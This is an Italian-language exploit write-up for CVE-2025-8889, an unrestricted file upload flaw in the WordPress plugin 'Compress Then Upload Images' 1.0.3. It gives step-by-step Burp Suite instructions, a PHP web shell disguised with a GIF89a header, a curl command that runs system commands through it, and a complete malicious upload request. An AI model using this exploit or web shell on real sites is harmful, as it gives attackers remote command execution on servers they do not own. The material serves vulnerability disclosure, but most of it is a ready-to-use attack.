
Data: 2025-07-23
Autore Exploit: Muhammed Çelik
Homepage del Venditore: https://wordpress.com/plugins/compress-then-upload
Link del Software: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Versione: 1.0.3
Testato su: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
Il plugin WordPress "Compress Then Upload Images" non riesce a validare correttamente le estensioni dei file e i tipi MIME durante il caricamento delle immagini tramite la sua interfaccia di upload dei media. Sebbene esistano validazioni lato client, queste possono essere aggirate intercettando e modificando la richiesta di caricamento.
Un utente autenticato con permessi di caricamento dei media (ruolo Autore o superiore) può sfruttare questa vulnerabilità:
Passo 1: Preparare un file immagine normale
Creare un file immagine normale, ad es., regular.jpg (qualsiasi file JPG valido).
Passo 2: Caricare l'immagine normale tramite il Pannello di Amministrazione di WordPress
regular.jpg normalmente.Passo 3: Intercettare e modificare la richiesta di caricamento con Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Nota: GIF89a; imita un header GIF valido per aggirare le deboli validazioni delle immagini.
Mantenere il Content-Type come image/jpeg.
Inoltrare la richiesta modificata al server.
Passo 4: Attivare la web shell caricata
Se il caricamento ha successo, il file PHP verrà salvato nella directory uploads, ad es.:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Accedervi tramite browser o curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
Esempio di Richiesta di Caricamento Malevola (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>